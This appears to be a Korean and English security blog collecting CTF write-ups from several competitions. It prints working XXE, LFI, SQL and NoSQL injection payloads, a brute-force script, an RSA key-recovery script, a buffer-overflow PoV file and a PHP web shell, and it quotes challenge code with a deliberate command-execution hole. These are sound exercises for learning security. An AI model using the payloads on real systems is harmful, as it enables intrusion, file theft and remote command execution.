shpik's world!

[Nuit du hack XV Qual] No Pain No Gain - 75 pts

0x400 CTF

No Pain No Gain

 Challenge validated!

Description

Uploading a CSV file that will be processed to HTML. The purpose of this challenge is to catch the flag file.


Details

Points
75
Category
Web
Validations
81
Url
http://nopainnogain.quals.nuitduhack.com/

Attachments

This challenge has no attachment.


주말에 Nuitduhack CTF에 참가하였습니다.


이 문제 페이지는 아래와 같습니다.


Please upload a CSV file like this:
<!-- Invitations --> 
id,name,email 
1,name1,email1@mail.com 
2,name2,email2@mail.com
Select file
Submit


위와 같이 단순한 구성입니다.


이제 csv를 위의 예제와 같이 만들어 업로드를 해보았습니다.

<!-- Invitations -->
id,name,email
1,name1,email1@mail.com
2,name2,email2@mail.com 
IDNameEmail
1name1email1@mail.com
2name2

email2@mail.com


위와 같은 결과가 나옴을 확인할 수 있다.


이제 다음과 같이 업로드를 하면 에러를 확인할 수 있다.

<!-- Invitations -->
id,name,email
<code>,name1,email1@mail.com
2,name2,email2@mail.com 

Could not convert the CSV to XML!
Please follow the example above.


업로드 된 CSV은 XML로 변경되어지고 변경된 XML을 파싱하여 화면에 보여주는 문제이다.


이제 XXE 취약점을 이용하여 플래그를 구하였다.


<!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
id,name,email
1,name1,&foo;
2,name2,email2@mail.com
IDNameEmail
1name1root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false flag:x:1000:1000::/home/flag:/bin/sh
2name2email2@mail.com


flag라는 유저가 존재하였고, /home/flag/flag에 존재하리라 예측하여 아래와 같은 csv파일을 업로드하였다.

<!DOCTYPE root[<!ENTITY foo SYSTEM "file:///home/flag/flag">]>
id,name,email
1,name1,&foo;
2,name2,email2@mail.com
IDNameEmail
1name1

NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}

2name2email2@mail.com




Flag is 

NDH{U3VwZXIgTWFyaW8gQnJvcw0K44K544O844OR44O844Oe44Oq44Kq44OW44Op44K244O844K6DQpTxatwxIEgTWFyaW8gQnVyYXrEgXp1DQrYs9mI2KjYsdmF2KfYsdmK2Yg=}


[SECCON 2016] uncomfortable web - 300pts

0x400 CTF


uncomfortable web

300 points

uncomfortable web
Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!


주말에 SECCON CTF가 열렸지만, 시험 기간이고해서 그냥 즐기는 용도로 문제를 풀었다.


문제의 페이지는 다음과 같다.



sample파일들의 내용은 전부 127.0.0.1:81로 연결하는 코드이다.

sample1.sh을 예로 보면 다음과 같다.

# sample1.sh #!/bin/sh curl http://127.0.0.1:81/

이를 업로드 하면 다음과같은 화면을 보여준다.


<!-- Output -->

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 903 100 903 0 0 1651k 0 --:--:-- --:--:-- --:--:-- 881k <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr> <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51 </td><td align="right"> - </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08 </td><td align="right">612 </td><td>&nbsp;</td></tr> <tr><th colspan="5"><hr></th></tr> </table> <address>Apache Server at 127.0.0.1 Port 81</address> </body></html>


authed라는 폴더와 select.cgi라는 파일이 존재함을 알 수 있는데, authed폴더는 아래와 같이 권한 없음을 알 수 있다.



#!/bin/sh curl http://127.0.0.1:81/authed


select.cgi를 열면 다음과 같다.

#!/bin/sh curl http://127.0.0.1:81/select.cgi

#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=a


#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=.htaccess%00


#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=.htpasswd%00


John the ripper를 통해 crack하면 패스워드가 test라는 것을 알 수 있다.

이를 통해 authed에 접근이 가능해진다.

#!/bin/sh curl http://127.0.0.1:81/authed/ --user keigo:test



a,b,c라는 txt파일과 sqlinj라는 솔더가 존재함을 알 수 있다.

sqlinj에 접근을 해보자.

#!/bin/sh

curl http://127.0.0.1:81/authed/sqlinj/ --user keigo:test


위와 같이 1.cgi부터 사진에는 안나오지만 100.cgi까지 존재 함을 알 수 있다.

우선 1.cgi를 열어 확인해보면 다음과 같다.

#!/bin/sh curl http://127.0.0.1:81/authed/sqlinj/1.cgi --user keigo:test


뭔가 no에 인젝션이 될거같이 생겼다.

그래서 아래와 같은 스크립트를 돌려놓았다.

#!/usr/bin/python import os for i in range(1,101): print os.system('curl -vv "http://127.0.0.1:81/authed/sqlinj/'+str(i)+'.cgi?no=\'%20or%20\'1%20--" --user keigo:test')



72.cgi의 no 파라미터를 통해 sql injection이 가능함을 확인하였고, flag를 찾기 시작하였다.

#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%201,2,3%20--" --user keigo:test


#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%20sql,2,3%20from%20sqlite_master%20--" --user keigo:test


#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%20f1ag,2,3%20from%20f1ags%20--" --user keigo:test




Flag is

[ SECCON{I want to eventually make a CGC web edition... someday...} ]

[Crypto] Twin Prime - 50pts

0x400 CTF/0x401 MMA 1st 2015


Problem

Decrypt it.
twin-primes.7z

Flag

#Your ScoreScoreYour RatingsTeams
15050
x 1 2 3 4 5
183



# encrypt.py
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os

N = 1024

def getTwinPrime(N):
    while True:
        p = getPrime(N)
        if isPrime(p+2):
            return p

def genkey(N = 1024):
    p = getTwinPrime(N)
    q = getTwinPrime(N)
    n1 = p*q
    n2 = (p+2)*(q+2)
    e = long(65537)
    d1 = inverse(e, (p-1)*(q-1))
    d2 = inverse(e, (p+1)*(q+1))
    key1 = RSA.construct((n1, e, d1))
    key2 = RSA.construct((n2, e, d2))
    if n1 < n2:
        return (key1, key2)
    else:
        return (key2, key1)

rsa1, rsa2 = genkey(N)

with open("flag", "r") as f:
    flag = f.read()
padded_flag = flag + "\0" + os.urandom(N/8 - 1 - len(flag))

c = bytes_to_long(padded_flag)
c = rsa1.encrypt(c, 0)[0]
c = rsa2.encrypt(c, 0)[0]

with open("key1", "w") as f:
    f.write("%d\n" % rsa1.n)
    f.write("%d\n" % rsa1.e)
with open("key2", "w") as f:
    f.write("%d\n" % rsa2.n)
    f.write("%d\n" % rsa2.e)

with open("encrypted", "w") as f:
    f.write("%d\n" % c)


n1 = p*q

n2 = p*q + 2( p+q ) + 4

2( p+q ) = n2 - p*q - 4

p+q = ( n2 - n1 - 4 )/2


(p-1)*(q-1) in d1.

= p*q - ( p+q ) + 1


(p+1)*(q+1) in d1.

= p*q + ( p+q ) + 1


# twin_prime.py
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
import os

n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
e = long(65537)

p_q = (n2-n1-4)/2
phi_n1 = n1-p_q+1
phi_n2 = n1+p_q+1

d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)

key1 = RSA.construct((n1,e,d1))
key2 = RSA.construct((n2,e,d2))

c = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929


c = key2.decrypt(c)
c = key1.decrypt(c)
c = long_to_bytes(c)
print c
'''
shpik@shpik:/ctf/MMA/crypt$ python twin_primes.py 
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
 ࠝ髀	0ݔм5듲E$K
麗hj@殁¾؈'(喠ﻫ¬a걅Ƅm¶ZLʔa

'''


'0x400 CTF > 0x401 MMA 1st 2015' 카테고리의 다른 글

[Crypto] Twin Prime - 50pts  (0) 2016.09.05
[Web] Global Page - 50pts  (0) 2016.09.05
[Web] Get the admin password! - 100pts  (0) 2016.09.05
[Web] Mortal Magi Agents - 300pts  (0) 2015.09.09
[Web] Login as admin! - 30pts  (0) 2015.09.08

[Web] Global Page - 50pts

0x400 CTF/0x401 MMA 1st 2015

Problem

This problem is not available now.
[09/03 01:14 +00:00] fixed.

Welcome to TokyoWesterns' CTF!

Flag

#Your ScoreScoreYour RatingsTeams
15050
x 1 2 3 4 5
195




shpik@shpik:/ctf/MMA/web/gap$ curl http://globalpage.chal.ctf.westerns.tokyo/?page=tokyo

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>


<body>

<br />

<b>Notice</b>:  Undefined index: HTTP_ACCEPT_LANGUAGE in <b>/var/www/globalpage/index.php</b> on line <b>36</b><br />

<p>

<br />

<b>Warning</b>:  include(tokyo/.php): failed to open stream: No such file or directory in <b>/var/www/globalpage/index.php</b> on line <b>41</b><br />

<br />

<b>Warning</b>:  include(): Failed opening 'tokyo/.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/globalpage/index.php</b> on line <b>41</b><br />

</p>

</body>

</html>


HTTP_ACCEPT_LANGUAGE is file name.

and page is directory.



So i expect include $page.'/'.'HEADER HTTP_ACCEPT_LANGUAGE's value'




shpik@shpik:/ctf/MMA/web/gap$ curl 'http://globalpage.chal.ctf.westerns.tokyo/?page=php:' -H "Accept-Language:/filter/convert.base64-encode/resource=index"

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>


<body>

<p>

PD9waHAKaWYgKCFkZWZpbmVkKCdJTkNMVURFRF9JTkRFWCcpKSB7CmRlZmluZSgnSU5DTFVERURfSU5ERVgnLCB0cnVlKTsKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAxKTsKaW5jbHVkZSAiZmxhZy5waHAiOwo/Pgo8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8bWV0YSBjaGFyc2V0PXV0Zi04Pgo8dGl0bGU+R2xvYmFsIFBhZ2U8L3RpdGxlPgo8c3R5bGU+Ci5ydGwgewogIGRpcmVjdGlvbjogcnRsOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5Pgo8P3BocAokZGlyID0gIiI7CmlmKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7CgkkZGlyID0gc3RyX3JlcGxhY2UoWycuJywgJy8nXSwgJycsICRfR0VUWydwYWdlJ10pOwp9CgppZihlbXB0eSgkZGlyKSkgewo/Pgo8dWw+Cgk8bGk+PGEgaHJlZj0iLz9wYWdlPXRva3lvIj5Ub2t5bzwvYT48L2xpPgoJPGxpPjxkZWw+V2VzdGVybnM8L2RlbD48L2xpPgoJPGxpPjxhIGhyZWY9Ii8/cGFnZT1jdGYiPkNURjwvYT48L2xpPgo8L3VsPgo8P3BocAp9CmVsc2UgewoJZm9yZWFjaChleHBsb2RlKCIsIiwgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIGFzICRsYW5nKSB7CgkJJGwgPSB0cmltKGV4cGxvZGUoIjsiLCAkbGFuZylbMF0pOwo/Pgo8cDw/PSgkbD09PSdoZScpPyIgY2xhc3M9cnRsIjoiIj8+Pgo8P3BocAoJCWluY2x1ZGUgIiRkaXIvJGwucGhwIjsKPz4KPC9wPgo8P3BocAoJfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo8P3BocAp9Cj8+Cg==</p>

</body>

</html>



okey i get index.php with php://filter !


<!-- index.php --> <?php if (!defined('INCLUDED_INDEX')) { define('INCLUDED_INDEX', true); ini_set('display_errors', 1); include "flag.php"; ?> <!doctype html> <html> <head> <meta charset=utf-8> <title>Global Page</title> <style> .rtl { direction: rtl; } </style> </head> <body> <?php $dir = ""; if(isset($_GET['page'])) { $dir = str_replace(['.', '/'], '', $_GET['page']); } if(empty($dir)) { ?> <ul> <li><a href="/?page=tokyo">Tokyo</a></li> <li><del>Westerns</del></li> <li><a href="/?page=ctf">CTF</a></li> </ul> <?php } else { foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) { $l = trim(explode(";", $lang)[0]); ?> <p<?=($l==='he')?" class=rtl":""?>> <?php include "$dir/$l.php"; ?> </p> <?php } } ?> </body> </html> <?php } ?>

maybe i get flag.php's source for getting flag.


shpik@shpik:/ctf/MMA/web/gap$ curl 'http://globalpage.chal.ctf.westerns.tokyo/?page=php:' -H "Accept-Language:/filter/convert.base64-encode/resource=flag"

<!doctype html>

<html>

<head>

<meta charset=utf-8>

<title>Global Page</title>

<style>

.rtl {

  direction: rtl;

}

</style>

</head>


<body>

<p>

PD9waHAKJGZsYWcgPSAiVFdDVEZ7SV9mb3VuZF9zaW1wbGVfTEZJfSI7Cg==</p>

</body>

</html>



Flag is

[ TWCTF{I_found_simple_LFI} ]



'0x400 CTF > 0x401 MMA 1st 2015' 카테고리의 다른 글

[Crypto] Twin Prime - 50pts  (0) 2016.09.05
[Web] Global Page - 50pts  (0) 2016.09.05
[Web] Get the admin password! - 100pts  (0) 2016.09.05
[Web] Mortal Magi Agents - 300pts  (0) 2015.09.09
[Web] Login as admin! - 30pts  (0) 2015.09.08

[Web] Get the admin password! - 100pts

0x400 CTF/0x401 MMA 1st 2015



This Problem is very Simple NoSQL injection.



# exploit.py
import urllib2
import urllib
URL = "http://gap.chal.ctf.westerns.tokyo/login.php"

result = ""
for i in range(100):
	for j in range(0x20,0x90):
		data = {'user' : 'admin', 'password[$lt]' : result+chr(j)}
		data = urllib.urlencode(data)
		req = urllib2.Request(URL,data)
		res = urllib2.urlopen(req)
		if res.read().find("Wrong user name or password")>10:
			continue
		else:
			result += chr(j-1)
			print result
			break
'''
shpik@shpik:/ctf/MMA/web/gap$ python exploit.py 
T
TW
TWC
TWCT
TWCTF
TWCTF{
TWCTF{w
TWCTF{wa
TWCTF{was
TWCTF{wass
TWCTF{wassh
TWCTF{wassho
TWCTF{wasshoi
TWCTF{wasshoi!
TWCTF{wasshoi!s
TWCTF{wasshoi!su
TWCTF{wasshoi!sum
TWCTF{wasshoi!summ
TWCTF{wasshoi!summe
TWCTF{wasshoi!summer
TWCTF{wasshoi!summer_
TWCTF{wasshoi!summer_f
TWCTF{wasshoi!summer_fe
TWCTF{wasshoi!summer_fes
TWCTF{wasshoi!summer_fest
TWCTF{wasshoi!summer_festi
TWCTF{wasshoi!summer_festiv
TWCTF{wasshoi!summer_festiva
TWCTF{wasshoi!summer_festival
TWCTF{wasshoi!summer_festival!
TWCTF{wasshoi!summer_festival!}
'''


'0x400 CTF > 0x401 MMA 1st 2015' 카테고리의 다른 글

[Crypto] Twin Prime - 50pts  (0) 2016.09.05
[Web] Global Page - 50pts  (0) 2016.09.05
[Web] Get the admin password! - 100pts  (0) 2016.09.05
[Web] Mortal Magi Agents - 300pts  (0) 2015.09.09
[Web] Login as admin! - 30pts  (0) 2015.09.08

[TrendMicroCTF 2016] Reversing -100pts

0x400 CTF

주어진 dataloss파일을 ida를 통해 열어보았고 뭔가 문자열을 때려 박는거 같은 sub_278함수를 찾았다.

이 함수의 호출을 다음과 같이 알아보았다.


[ sub_468 ]

[ loc_614 ]


[ sub_26E0 ]


sub_278을 호출할 때, sub_468의 인자값(arg_0)를 넘긴다.

sub_468을 호출할 때는 sub_26E0의 리턴 값의 포인터 값을 이용해 호출한다.

sub_26E0은 413D14h값을 리턴한다.

우선 sub_278에서 떄려박은 값들을 모아보았다.



sub_278을 호출할 때 인자값은 알기 어려울거 같아 플래그 양식인 TMCTF{~~}에 맞춰 첫번째 문자 K가 T가 나오게 만들어지도록 각 값에 +9를 파이썬을 이용해 계산해보았다.


shpik@shpik:/ctf/trend/reversing$ python

Python 2.7.11+ (default, Apr 17 2016, 14:00:29) 

[GCC 5.3.1 20160413] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> a = [0x4B,0x44,0x3A,0x3D,0x72,0x74,0x5B,0x58,0x6B,0x58,0x63,0x66,0x6A,0x6A,0x6E,0x66,0x65,0x6B,0x6A,0x6B,0x66,0x67,0x6C,0x6A]

>>> ''.join([chr(i+9) for i in a])

'TMCF{}datalosswontstopus'


[TrendMicroCTF 2016] Misc -100pts

0x400 CTF

문제로써 tcpdump파일이 주어졌다.

이를 wireshark를 이용해 열어보았다.



ISAKMP, ARP, ESP, TELNET등...의 protocol통신을 함을 알 수 있고, telnet의 경우는 통신한 내용을 그대로 확인 할 수 있으므로, Follow TCP Stream을 통해 통신 내용을 확인 해 보았다.


위와 같은 Follow TCP Stream의 내용 중에 아래와 같은 명령어를 통해 ESP를 decrypt할 수 있는 키 값을 얻을 수 있다.

.]0;reds@localhost:~.[reds@localhost ~]$ sudo ip xfrm state

.sudo ip xfrm state

[sudo] password for reds: ynwa

.

src 1.1.1.11 dst 1.1.1.10

.proto esp spi 0xfab21777 reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x11cf27c5b3357a5fd5d26d253fffd5339a99b4d1

.enc cbc(aes) 0xfa19ff5565b1666d3dd16fcfda62820da44b2b51672a85fed155521bedb243ee

src 1.1.1.10 dst 1.1.1.11

.proto esp spi 0xbfd6dc1c reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x829b457814bd8856e51cce1d745619507ca1b257

.enc cbc(aes) 0x2a340c090abec9186c841017714a233fba6144b3cb20c898db4a30f02b0a003d

src 1.1.1.10 dst 1.1.1.11

.proto esp spi 0xeea1503c reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x951d2d93498d2e7479c28c1bcc203ace34d7fcde

.enc cbc(aes) 0x6ec6072dd25a6bcb7b9b3b516529acb641a1b356999f791eb971e57cc934a5eb

src 1.1.1.11 dst 1.1.1.10

.proto esp spi 0xd4d2074d reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x100a0b23fc006c867455506843cc96ad26026ec0

.enc cbc(aes) 0xdcfbc7d33d3c606de488c6efac4624ed50b550c88be0d62befb049992972cca6


이를 wireshark을 통해 ESP프로토콜로 통신한 내용을 decrypt해보면 아래와 같이 나옴을 알 수 있다.


[ decrypt 전 ]

[  decrypt 후 ]

decrypt후의 패킷을 보면 /img/flag.png를 확인할 수 있다.

이를 추출하면 아래와 같은 flag를 얻을 수 있다.


[ flag.png ]

Secuinside 2016 후기

0x400 CTF/0x402 Secuinside 2016


우선 수고해주신 인하대 init 팀원들에게 감사를 전합니다.


처음에 CGC문제를 봤을 때 뭔 거지같은 문제지 라고 생각했는데 꾸역꾸역 엄청난 시간의 삽질 결과 CGC문제를 전부다 풀게 되었고,


Web은 trendy~ 100점 하나밖에 못 풀었는데,


Web 250점 SBBS는 template injection을 알고 있음에도 못 푼것이 화가 나고,

Pwn 400점 Ownmyweb은 XXE까지는 좋았으나, 그 뒤에 뭘 할지 모르는 상황이었다.


결론은 실력 부족을 많이 느낀 대회였으며, 다시 공부를 해야겠다.


'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13

[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts

0x400 CTF/0x402 Secuinside 2016



문제에 대한 정보이다.


이 문제는 CGC이며 https://github.com/CyberGrandChallenge 에서 정보를 얻을 수 있었다.


CYKOR_00001은 cykor_00001파일에 대한 취약점을 PoV로 만들어 서버에 보내는 문제이다.

CYKOR_00001_patch는 cykor_00001파일에 대한 취약점을 패치한 파일을 서버에 보내는 문제이다.


IDA를 통해 분석한 결과, What is your message?다음에 H4PPY_S3CUINSID3라는 문자열이 나오는지 체크 한 후

+ Are you serious? 다음에 문자열을 입력 받는다.


조건에 맞춰 긴 문자열을 입력할 시 다음과 같은 segmentation fault가 일어남을 확인하였고, gdb를 통해 디버깅한 결과 eip가 덮어져 bof취약점이 있음을 확인하였다.




이를 토대로 만든 PoV파일은 다음과 같다.

<!-- CYKOR_00001.PoV -->

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>CYKOR_00001</cbid>
<replay>
    <read echo="yes"><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read>
    <write echo="yes"><data>H4PPY_S3CUINSID3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGG111122223333444455556666777788889900001111\x0a</data>
    </write>
<read><length>1</length></read>
</replay>
</pov>

이를 서버에 전송하여 CYKOR_00001의 flag를 얻었다.


위에서 찾은 bof발생 지점이 0x80사이즈 만큼 가져오기에 일어나는데 이를 0x40로 바이너리 패치하여 서버에 보내주면 CYKOR_00002_patch의 flag를 얻을 수 있다.


현재 서버가 닫혀서 사진을 구할 수가 없다.

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13

[Web] trendyweb - 100pts

0x400 CTF/0x402 Secuinside 2016

해당 문제에 대한 주어진 정보이다.


/(root)에 있는 flag를 읽는 것이 목적이다.


문제에서 Source가 주어졌으며 이를 분석해보자.

(https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859)


<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }
	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}
	session_start();
	register_shutdown_function('onShutdown');
	function set_context($id) {
		global $_SESSION, $session_path;
		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);
		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}
	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}
	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

ini_set('allow_url_fopen', 'On');

allow_url_fopen이 On되어있는걸로 봐서 LFI나 RFI취약점이 있을거라 예상하였다.


우선 사이트로 접속을 해보면 엑박이 페이지에 출력된다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png

상위 폴더로 올라가보면 Directory Listing 가능하다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/


존재하는 파일은 pickle이다.

pickle의 내용은 쓸모가 없는 내용이다.


다시 Source로 돌아가보면 download_image를 통해 이미지를 다운로드 하는데 POST값으로 image를 넘기고, 이 값에 parse_url한 값의 path부분이 /avatar.png인 경우 wget명령어를 통해 이미지 파일을 다운 받는다.


"http://0.0.0.0/avatar.png?n=shpik"의 주소에서 parse_url의 path부분은 /avatar.png가 되므로 ?뒤에 .php를 붙이는 것으로 parse_url를 우회하여 다음과 같은 웹쉘을 업로드 하였다.


<?php system($_GET['c']);?>

이를 통해 /(root)에 `flag_is_heeeeeeeereeeeeee`란 파일이 존재함을 알았다.


http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png%3f3.php?c=/flag_is_heeeeeeeereeeeeee


flag is

1-day is not trendy enough  ]

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13